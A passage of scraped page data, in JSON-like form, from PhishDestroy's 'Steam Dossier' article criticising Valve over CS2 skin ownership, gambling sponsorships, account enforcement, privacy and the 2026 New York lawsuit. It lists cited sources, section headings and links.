Majors.\n\nhttps://press.pglesports.com/184398-ggbet-is-now-the-exclusive-betting-partner-of-pgl-major-antwerp-2022from-april-4-to-10-ggbet-will-be-offering-10-no-deposit-cashback-to-celebrate-the-announcement-of-this-partnership\nE56 · BLAST announces Unikrn partnership including Paris Major\n\nPublisher: BLAST / Cision\n\nDate: 29 Mar 2023\n\nSupports: Announced event and series integrations, branding and viewer activities.\n\nScope: The tournament organiser’s dated sponsorship announcement, naming its own agreement.\n\nhttps://news.cision.com/blast/r/blast-partners-with-esports-and-video-games-betting-platform-unikrn,c3743069\nE57 · 1xBet / PGL Copenhagen Major 2024\n\nPublisher: PGL\n\nDate: 01 Feb 2024\n\nSupports: PGL names the Major’s betting partner and media/financial support.\n\nScope: Indexed primary release retrieved 10 Oct 2026; historical URL now redirects to the news index.\n\nhttps://press.pglesports.com/289168-1xbet-is-the-official-betting-partner-of-the-pgl-cs2-copenhagen-major-2024\nE64 · FAQ — Steam bots and the transition to P2P\n\nPublisher: CSGOEmpire\n\nDate: Live FAQ · reviewed 10 Oct 2026\n\nSupports: Operator dates its move from Steam bots to P2P to 2018.\n\nScope: The operator’s retrospective account of its own transition to P2P in 2018.\n\nhttps://csgoempire.com/faq\nE65 · What is a market and how does it work?\n\nPublisher: CSGOFast\n\nDate: Live FAQ · reviewed 10 Oct 2026\n\nSupports: Describes direct player-to-player skin sales and purchases.\n\nScope: Establishes the described user-inventory model, not that the company owns no skins or accounts whatsoever.\n\nhttps://csgofast.gg/faq/market/0\nE77 · X-Ray Scanner for Germany and the Netherlands\n\nPublisher: Valve / Counter-Strike 2\n\nDate: 16 Mar 2026\n\nSupports: Scanner access for Germany and the Netherlands; keyless containers exempted.\n\nScope: Also verified in the official Steam announcement feed. Belgium is not named in this update.\n\nhttps://steamcommunity.com/ogg/730/announcements/detail/518615049848226730\nE21 · Disclosure audit — 830-page appendix\n\nPublisher: PhishDestroy\n\nDate: Published audit · reviewed 20 Sep 2026\n\nSupports: Page-level redaction geometry, character counts and source-file SHA-256 for the appendix to the October 2025 access response.\n\nScope: The public audit contains aggregate findings and the source hash; the original personal-data appendix is withheld.\n\nhttps://phishdestroy.io/steam_dossier/steam_tos_assets/regulatory-review/disclosure-audit.json\nE82 · Payment Disputes and Chargebacks\n\nPublisher: Valve / Steam Support\n\nDate: Current policy · metadata 15 May 2024\n\nSupports: Associated account/purchase restrictions, bank-reversal route, restoration when funds return, and Support escalation when reversal is impossible.\n\nScope: Steam’s published payment-dispute policy and described restrictions.\n\nhttps://help.steampowered.com/en/faqs/view/783F-5E0F-9834-22D2\nE111 · Annual Report 2025 — revenue by IP\n\nPublisher: POP MART / HKEX\n\nDate: 21 Apr 2026 · 2024 and 2025 results\n\nSupports: Printed page 27 reports THE MONSTERS revenue of RMB3,040,664,000 in 2024 and RMB14,161,064,000 in 2025.\n\nScope: Revenue for the whole IP that includes Labubu; resale turnover and Labubu-only figures are separate. The annual results measure the commercial scale of the collectible market Valve chose for its analogy.\n\nhttps://www1.hkexnews.hk/listedco/listconews/sehk/2026/0421/2026042100394.pdf\nE101 · The Armory — announcement and release notes\n\nPublisher: Valve / Counter-Strike 2\n\nDate: 2 Oct 2024\n\nSupports: Launch of the Armory and charms; passes, credits and item redemption.\n\nScope: Valve’s 2 October 2024 release announcement for the Armory, passes, credits and weapon charms.\n\nhttps://store.steampowered.com/news/posts/?appgroupname=Counter-Strike%3A+Global+Offensive&appids=730&enddate=1728000977&feed=steam_community_announcements\nE15 · Steam Community Market FAQ — Wallet proceeds and market limits\n\nPublisher: Valve / Steam Support\n\nDate: Live FAQ · reviewed 10 Oct 2026\n\nSupports: Market sale proceeds in Steam Wallet and the approximate US$1,800 listing limit.\n\nScope: Steam’s own market and Wallet mechanics, used in the ownership and outside-price comparison.\n\nhttps://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B\nE13 · The Steam Dossier — rules, routes and accountability\n\nPublisher: PhishDestroy\n\nDate: Related investigation\n\nSupports: The parent investigation supplies the historical registration and consent exhibits, transfer-substitution sequence, route register, ownership and recovery records, and correspondence used by this companion investigation.\n\nScope: The parent PhishDestroy investigation; linked as the wider editorial and infrastructure context.\n\nhttps://phishdestroy.io/steam_dossier/\nE27 · Steam Item Restoration Policy\n\nPublisher: Valve / Steam Support\n\nDate: Live policy\n\nSupports: Steam Support’s policy on restoring items removed through trades, market transactions, deletion or gifting.\n\nScope: Account recovery and routine item restoration are distinct processes; the dated Trade Protection feature is recorded in E32.\n\nhttps://help.steampowered.com/en/faqs/view/3B6E-B322-2400-8D24\nE32 · Trade Protected Items\n\nPublisher: Valve / Steam Support\n\nDate: Live FAQ · feature introduced July 2025\n\nSupports: Seven-day protection, reversal of eligible trades and the initiating account’s thirty-day trade and market cooldown.\n\nScope: The platform-defined reversal mechanism affecting delivery and outside operators’ balance-release timing.\n\nhttps://help.steampowered.com/en/faqs/view/365F-4BEE-2AE2-7BDD\nE19 · October 2016 response to the Washington State Gambling Commission\n\nPublisher: Valve / legal correspondence\n\nDate: October 2016\n\nSupports: Valve’s explanation of Steam trading, OpenID, notices to more than forty sites and account-level enforcement.\n\nScope: Public document copy linked by the Steam Dossier; the letter itself is dated 17 October 2016.\n\nhttps://fr.scribd.com/document/328063293/Valve-s-Oct-18th-response-to-Washington-State-Gambling-Commission-s-cease-and-desist\nE08 · In-Game Item Trading Update\n\nPublisher: Valve\n\nDate: 13 Jul 2016\n\nSupports: Valve’s account of identity verification and automated trading used by gambling services, its stated prohibition and its denial of business relationships with those sites.\n\nScope: Valve’s public statement from July 2016, retained here as a historical infrastructure record.\n\nhttps://store.steampowered.com/oldnews/22883\nE63 · Adjustments to maps and trade\n\nPublisher: Valve / Counter-Strike\n\nDate: 29 Mar 2018\n\nSupports: Seven-day cooldown for traded CS:GO items and explanation concerning frequent automated turnover.\n\nScope: Valve’s dated response to the ExpressTrade mechanism and the accounts supporting it.\n\nhttps://blog.counter-strike.net/2018/03/20308/\nE66 · Limited User Accounts\n\nPublisher: Valve / Steam Support\n\nDate: Live FAQ · reviewed 10 Oct 2026\n\nSupports: Qualifying $5 spending and specified restricted community features.\n\nScope: Steam’s published requirements for access to trading and the Community Market.\n\nhttps://help.steampowered.com/en/faqs/view/71D3-35C2-AD96-AA3A\nE04 · WebAPI P2P Solution\n\nPublisher: CSGORoll\n\nDate: 10 Apr 2024\n\nSupports: A dated account of token collection for monitoring trades, including session dependence and expiration.\n\nScope: Technical record dated 10 April 2024; the subsequent workflow changes appear in E05–E07.\n\nhttps://www.csgoroll.com/blog/steam-p2p-solution/\nE41 · Steam Online Conduct — commercial activity\n\nPublisher: Valve\n\nDate: Live rules\n\nSupports: Gambling is explicitly included under the commercial-activity prohibition.\n\nScope: Read beside the account-enforcement record and Valve’s public transferability language.\n\nhttps://store.steampowered.com/online_conduct/",
        "headings": [
          {
            "level": 1,
            "text": "Their defence. Their control.",
            "anchor": "pd-valve-and-enforcement--hero-title",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#hero-title"
          },
          {
            "level": 3,
            "text": "The purchaser keeps the object.",
            "anchor": "pd-valve-and-enforcement--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#overview"
          },
          {
            "level": 3,
            "text": "No ownership interest.",
            "anchor": "pd-valve-and-enforcement--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#overview"
          },
          {
            "level": 2,
            "text": "Follow what Valve controls.",
            "anchor": "pd-valve-and-enforcement--atlas-title",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#atlas-title"
          },
          {
            "level": 3,
            "text": "Collecting does not transfer control of the system.",
            "anchor": "pd-valve-and-enforcement--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#atlas-rights"
          },
          {
            "level": 3,
            "text": "The look has a price, a stage and an enforcement boundary.",
            "anchor": "pd-valve-and-enforcement--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#atlas-value"
          },
          {
            "level": 3,
            "text": "Who lost the inventory—and who lost the business?",
            "anchor": "pd-valve-and-enforcement--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#atlas-enforcement"
          },
          {
            "level": 3,
            "text": "Apply the privacy argument to Valve’s own system.",
            "anchor": "pd-valve-and-enforcement--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#atlas-data"
          },
          {
            "level": 2,
            "text": "Valve’s answer to New York: the ownership lie and its framing",
            "anchor": "pd-valve-and-enforcement--us-lawsuit-title",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#us-lawsuit-title"
          },
          {
            "level": 3,
            "text": "The People of the State of New York v. Valve Corporation",
            "anchor": "pd-valve-and-enforcement--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#us-lawsuit"
          },
          {
            "level": 3,
            "text": "The complaint targets paid random outcomes",
            "anchor": "pd-valve-and-enforcement--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#us-lawsuit"
          },
          {
            "level": 3,
            "text": "The state seeks an injunction and financial remedies",
            "anchor": "pd-valve-and-enforcement--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#us-lawsuit"
          },
          {
            "level": 3,
            "text": "The ownership lie and the arguments used to sustain it",
            "anchor": "pd-valve-and-enforcement--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#rhetoric"
          },
          {
            "level": 4,
            "text": "The comparison presents a controlled licence as equivalent to physical ownership.",
            "anchor": "pd-valve-and-enforcement--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#analogy-shift"
          },
          {
            "level": 4,
            "text": "The power to grant a transfer remains the power to refuse it.",
            "anchor": "pd-valve-and-enforcement--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#rights-shift"
          },
          {
            "level": 4,
            "text": "The look is the product. The Major stage makes it visible.",
            "anchor": "pd-valve-and-enforcement--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#cosmetic-shift"
          },
          {
            "level": 4,
            "text": "Not opening a case does not put a player outside the skin economy.",
            "anchor": "pd-valve-and-enforcement--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#optional-shift"
          },
          {
            "level": 4,
            "text": "The sponsorship claim needs a date, a category and an enforcement record.",
            "anchor": "pd-valve-and-enforcement--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#operator-shift"
          },
          {
            "level": 4,
            "text": "A million account locks do not identify a million bots—or closed businesses.",
            "anchor": "pd-valve-and-enforcement--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#count-shift"
          },
          {
            "level": 4,
            "text": "Valve already collects the signals and operates the regional controls.",
            "anchor": "pd-valve-and-enforcement--heading-20",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#privacy-shift"
          },
          {
            "level": 4,
            "text": "A promise about future legislation does not answer the case filed under existing law.",
            "anchor": "pd-valve-and-enforcement--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#legislature-shift"
          },
          {
            "level": 2,
            "text": "What the collector owns, and what Valve controls",
            "anchor": "pd-valve-and-enforcement--collectibles-title",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#collectibles-title"
          },
          {
            "level": 4,
            "text": "Labubu becomes a mass collecting phenomenon.",
            "anchor": "pd-valve-and-enforcement--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#labubu-chronology"
          },
          {
            "level": 4,
            "text": "The CS2 Armory Update introduces weapon charms.",
            "anchor": "pd-valve-and-enforcement--heading-24",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#labubu-chronology"
          },
          {
            "level": 4,
            "text": "Valve’s answer to New York invokes Labubu.",
            "anchor": "pd-valve-and-enforcement--heading-25",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#labubu-chronology"
          },
          {
            "level": 3,
            "text": "Gabe Newell’s knives show what independent possession means",
            "anchor": "pd-valve-and-enforcement--heading-26",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#physical-ownership"
          },
          {
            "level": 4,
            "text": "A display made for his Warenski knife",
            "anchor": "pd-valve-and-enforcement--heading-27",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#physical-ownership"
          },
          {
            "level": 4,
            "text": "A valuable item can still be held on someone else’s terms.",
            "anchor": "pd-valve-and-enforcement--heading-28",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#inheritance"
          },
          {
            "level": 4,
            "text": "The issuer controls the exception as well as the rule.",
            "anchor": "pd-valve-and-enforcement--heading-29",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#recovery"
          },
          {
            "level": 4,
            "text": "The inventories that came back belong to names with reach.",
            "anchor": "pd-valve-and-enforcement--heading-30",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#recovery-pattern"
          },
          {
            "level": 2,
            "text": "Account locks. Show the enforcement record.",
            "anchor": "pd-valve-and-enforcement--enforcement-title",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#enforcement-title"
          },
          {
            "level": 3,
            "text": "2016 → 2026",
            "anchor": "pd-valve-and-enforcement--heading-32",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#2016-2026"
          },
          {
            "level": 3,
            "text": "2018 moved the trade. Who now receives the ban?",
            "anchor": "pd-valve-and-enforcement--heading-33",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#p2p-enforcement"
          },
          {
            "level": 4,
            "text": "Valve describes the gambling route and declares it prohibited.",
            "anchor": "pd-valve-and-enforcement--heading-34",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#p2p-enforcement"
          },
          {
            "level": 4,
            "text": "Valve imposes the seven-day trade cooldown.",
            "anchor": "pd-valve-and-enforcement--heading-35",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#p2p-enforcement"
          },
          {
            "level": 4,
            "text": "Empire says it replaced Steam bots with P2P.",
            "anchor": "pd-valve-and-enforcement--heading-36",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#p2p-enforcement"
          },
          {
            "level": 4,
            "text": "Valve reports account locks without an operator breakdown.",
            "anchor": "pd-valve-and-enforcement--heading-37",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#p2p-enforcement"
          },
          {
            "level": 3,
            "text": "Commercial for the platform. A violation for the user.",
            "anchor": "pd-valve-and-enforcement--heading-38",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#commercial-use"
          },
          {
            "level": 3,
            "text": "The “bots” Valve locked were Steam users.",
            "anchor": "pd-valve-and-enforcement--heading-39",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#confiscation-framing"
          },
          {
            "level": 3,
            "text": "One allegation can reach every account.",
            "anchor": "pd-valve-and-enforcement--heading-40",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#all-account-restrictions"
          },
          {
            "level": 4,
            "text": "A reason must be something the user can challenge.",
            "anchor": "pd-valve-and-enforcement--heading-41",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#commercial-use"
          },
          {
            "level": 2,
            "text": "The records exist. Access is a decision.",
            "anchor": "pd-valve-and-enforcement--technical-capability-title",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#technical-capability-title"
          },
          {
            "level": 3,
            "text": "One device. Several accounts. Four years.",
            "anchor": "pd-valve-and-enforcement--heading-43",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#technical-capability"
          },
          {
            "level": 3,
            "text": "An 830-page retained-data appendix.",
            "anchor": "pd-valve-and-enforcement--heading-44",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#technical-capability"
          },
          {
            "level": 3,
            "text": "A self-service link replaces the requested records.",
            "anchor": "pd-valve-and-enforcement--heading-45",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#technical-capability"
          },
          {
            "level": 2,
            "text": "Privacy is invoked. The records already exist.",
            "anchor": "pd-valve-and-enforcement--privacy-title",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#privacy-title"
          },
          {
            "level": 3,
            "text": "DNS-cache checks were part of a documented VAC test.",
            "anchor": "pd-valve-and-enforcement--heading-47",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#privacy"
          },
          {
            "level": 3,
            "text": "The same client inspects process memory and loaded modules.",
            "anchor": "pd-valve-and-enforcement--heading-48",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#vac-signature-depth"
          },
          {
            "level": 3,
            "text": "830 pages. 902,270 covered characters still extractable.",
            "anchor": "pd-valve-and-enforcement--heading-49",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#privacy"
          },
          {
            "level": 3,
            "text": "One device, multiple accounts, retained across years.",
            "anchor": "pd-valve-and-enforcement--heading-50",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#privacy"
          },
          {
            "level": 3,
            "text": "A specific request, closed with a self-service link.",
            "anchor": "pd-valve-and-enforcement--heading-51",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#privacy"
          },
          {
            "level": 2,
            "text": "The defence omits the power Valve retains.",
            "anchor": "pd-valve-and-enforcement--findings-title",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#findings-title"
          },
          {
            "level": 3,
            "text": "The analogy conceals the contract.",
            "anchor": "pd-valve-and-enforcement--heading-53",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#findings"
          },
          {
            "level": 3,
            "text": "An account total conceals the outcome.",
            "anchor": "pd-valve-and-enforcement--heading-54",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#findings"
          },
          {
            "level": 3,
            "text": "Privacy must govern Valve’s own conduct.",
            "anchor": "pd-valve-and-enforcement--heading-55",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#findings"
          },
          {
            "level": 3,
            "text": "Make the exercise of power inspectable.",
            "anchor": "pd-valve-and-enforcement--heading-56",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#accountability-records"
          },
          {
            "level": 3,
            "text": "Who benefits from circulation—and who pays when protection fails?",
            "anchor": "pd-valve-and-enforcement--heading-57",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#author-investigation-thesis"
          },
          {
            "level": 2,
            "text": "Inspect the evidence.",
            "anchor": "pd-valve-and-enforcement--sources-title",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#sources-title"
          },
          {
            "level": 2,
            "text": "Cited source records",
            "anchor": "pd-valve-and-enforcement--cited-sources",
            "source_url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement#sources"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement"
          },
          {
            "label": "Read the contract · §3.D ↗",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "Original 11 October edition · complete text →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/index.html"
          },
          {
            "label": "Compare the claim with the contract",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html#collectibles"
          },
          {
            "label": "Scarcity, restoration and remedies",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system.html#scarcity-and-remedy"
          },
          {
            "label": "E09 · Inspect the agreement ↗",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "Compare actions and player–Major records",
            "url": "https://phishdestroy.io/steam_dossier/major_skins/"
          },
          {
            "label": "Put sponsor terms beside rule dates",
            "url": "https://phishdestroy.io/steam_dossier/major-and-sponsors.html#sponsor-graphic"
          },
          {
            "label": "Inspect the cosmetic-control record",
            "url": "https://phishdestroy.io/steam_dossier/major-and-sponsors.html#cosmetic-control"
          },
          {
            "label": "E50 · Inspect the measured event totals ↗",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/inspect-hours.csv"
          },
          {
            "label": "See what an account restriction reaches",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#restriction-model"
          },
          {
            "label": "Commercial use and all-account restrictions",
            "url": "https://phishdestroy.io/steam_dossier/valve-and-enforcement.html#commercial-use"
          },
          {
            "label": "Payment disputes and correction",
            "url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement.html#payment-enforcement"
          },
          {
            "label": "E87 · Inspect the restriction policy ↗",
            "url": "https://help.steampowered.com/en/faqs/view/4F62-35F9-F395-5C23"
          },
          {
            "label": "Existing signals and regional controls",
            "url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement.html#existing-data"
          },
          {
            "label": "Wallet funding and the current player’s age",
            "url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement.html#wallet-age"
          },
          {
            "label": "Moderation evidence in both directions",
            "url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement.html#moderation"
          },
          {
            "label": "E71 · Inspect the collection policy ↗",
            "url": "https://store.steampowered.com/privacy_agreement/"
          },
          {
            "label": "THE AUTHENTICATION RECORDAPI keys, session tokens and Steam access ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam-access.html"
          },
          {
            "label": "THE OPERATING IMPLEMENTATIONSEmpire, Roll and Fast trade tracking ↗",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking.html"
          },
          {
            "label": "THE IDENTITY RECORDDocuments, entities and AML claims ↗",
            "url": "https://phishdestroy.io/steam_dossier/aml-data.html"
          },
          {
            "label": "THE PACKAGE AUDITRoll and SIH code findings ↗",
            "url": "https://phishdestroy.io/steam_dossier/extension-audit.html"
          },
          {
            "label": "NEW CASE FILE / THREE GAMES, CONCRETE PRECEDENTSValve can freeze, trace, restore and change the market.TF2’s 2019 remedy · the key restriction · the Canadian order · victim reports · farm economics ↗",
            "url": "https://phishdestroy.io/steam_dossier/three-games-and-security.html"
          },
          {
            "label": "11 / CODE & COMMERCEValve’s crackdown.Ten years later.CSGOFast, SIH and the account operations inside the extension.Inspect the case ↗",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih.html"
          },
          {
            "label": "12 / REVIEWS & INCENTIVESA rating becomesthe entry ticket.84 contest records, developer replies and the reputation used to recruit users.Open the new evidence ↗",
            "url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives.html"
          },
          {
            "label": "E38 · Filed complaint ↗",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "E37 · Attorney General’s announcement ↗",
            "url": "https://ag.ny.gov/press-release/2026/attorney-general-james-sues-game-developer-promoting-illegal-gambling-through"
          },
          {
            "label": "[E37]",
            "url": "https://ag.ny.gov/press-release/2026/attorney-general-james-sues-game-developer-promoting-illegal-gambling-through"
          },
          {
            "label": "[E38]",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "Read the requested relief · PDF pp. 50–51 ↗",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf#page=50"
          },
          {
            "label": "E38 · Filed complaint ↗",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "[E38]",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "Read the original ↗",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E14]",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "Read the complete statement · 11 March 2026 ↗",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E09]",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "Follow the full chronology ↗",
            "url": "https://phishdestroy.io/steam_dossier/three-games-and-security.html#collectible-rhetoric"
          },
          {
            "label": "Read the complete statement · 11 March 2026 ↗",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E09]",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "[E42]",
            "url": "https://help.steampowered.com/en/faqs/view/46A2-2B3C-95CC-8878"
          },
          {
            "label": "Read the complete statement · 11 March 2026 ↗",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E50]",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/inspect-hours.csv"
          },
          {
            "label": "[E51]",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/05_players_all.csv"
          },
          {
            "label": "[E52]",
            "url": "https://blog.counter-strike.net/2013/09/7614/"
          },
          {
            "label": "Seven Majors: counts, percentages and method ↗",
            "url": "https://phishdestroy.io/steam_dossier/major_skins/"
          },
          {
            "label": "The outside-market value record ↗",
            "url": "https://phishdestroy.io/steam_dossier/gambling-system.html#price-gap"
          },
          {
            "label": "Read the complete statement · 11 March 2026 ↗",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E38]",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "[E60]",
            "url": "https://blog.counter-strike.net/server_guidelines/"
          },
          {
            "label": "[E61]",
            "url": "https://touchskins.io/"
          },
          {
            "label": "Cosmetic exclusivity and the legal demand ↗",
            "url": "https://phishdestroy.io/steam_dossier/major-and-sponsors.html#cosmetic-control"
          },
          {
            "label": "Read the complete statement · 11 March 2026 ↗",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E53]",
            "url": "https://store.steampowered.com/tourney/limited_license"
          },
          {
            "label": "[E54]",
            "url": "https://github.com/ValveSoftware/counter-strike_rules_and_regs/commit/8594dc0cc8f8cd9ea9564af46e453fc673246cbd"
          },
          {
            "label": "[E55]",
            "url": "https://press.pglesports.com/184398-ggbet-is-now-the-exclusive-betting-partner-of-pgl-major-antwerp-2022from-april-4-to-10-ggbet-will-be-offering-10-no-deposit-cashback-to-celebrate-the-announcement-of-this-partnership"
          },
          {
            "label": "[E56]",
            "url": "https://news.cision.com/blast/r/blast-partners-with-esports-and-video-games-betting-platform-unikrn,c3743069"
          },
          {
            "label": "[E57]",
            "url": "https://press.pglesports.com/289168-1xbet-is-the-official-betting-partner-of-the-pgl-cs2-copenhagen-major-2024"
          },
          {
            "label": "The sponsor timeline and the published rule ↗",
            "url": "https://phishdestroy.io/steam_dossier/major-and-sponsors.html#sponsors"
          },
          {
            "label": "Credential and settlement evidence ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam-access.html#access"
          },
          {
            "label": "Read the complete statement · 11 March 2026 ↗",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E64]",
            "url": "https://csgoempire.com/faq"
          },
          {
            "label": "[E65]",
            "url": "https://csgofast.gg/faq/market/0"
          },
          {
            "label": "The two counters and their different populations ↗",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#account-counts"
          },
          {
            "label": "Read the complete statement · 11 March 2026 ↗",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E71]",
            "url": "https://store.steampowered.com/privacy_agreement/"
          },
          {
            "label": "[E77]",
            "url": "https://steamcommunity.com/ogg/730/announcements/detail/518615049848226730"
          },
          {
            "label": "[E21]",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/regulatory-review/disclosure-audit.json"
          },
          {
            "label": "[E82]",
            "url": "https://help.steampowered.com/en/faqs/view/783F-5E0F-9834-22D2"
          },
          {
            "label": "Existing data, age, regions and enforcement ↗",
            "url": "https://phishdestroy.io/steam_dossier/privacy-and-enforcement.html"
          },
          {
            "label": "Market, Wallet and gift records ↗",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#market-losses"
          },
          {
            "label": "Read the complete statement · 11 March 2026 ↗",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E38]",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf"
          },
          {
            "label": "IGN · Valve’s collectibles response ↗",
            "url": "https://www.ign.com/articles/valve-breaks-silence-over-ny-attorney-general-lawsuit-says-loot-boxes-are-widely-used-for-baseball-cards-pokemon-magic-the-gathering-and-labubu"
          },
          {
            "label": "GameSpot · The transferability response ↗",
            "url": "https://www.gamespot.com/articles/valve-addresses-new-york-loot-box-lawsuit-we-refuse-to-do-that/1100-6538725/"
          },
          {
            "label": "ORIGINAL PHISHDESTROY RESEARCH / MAJOR SKINSInspect the original Major skins dataset.Open the full analysis, event comparisons and methodology on PhishDestroy ↗",
            "url": "https://phishdestroy.io/steam_dossier/major_skins/"
          },
          {
            "label": "[E14]",
            "url": "https://help.steampowered.com/en/faqs/view/6300-A6C4-519D-A3F5"
          },
          {
            "label": "[E09]",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "[E111]",
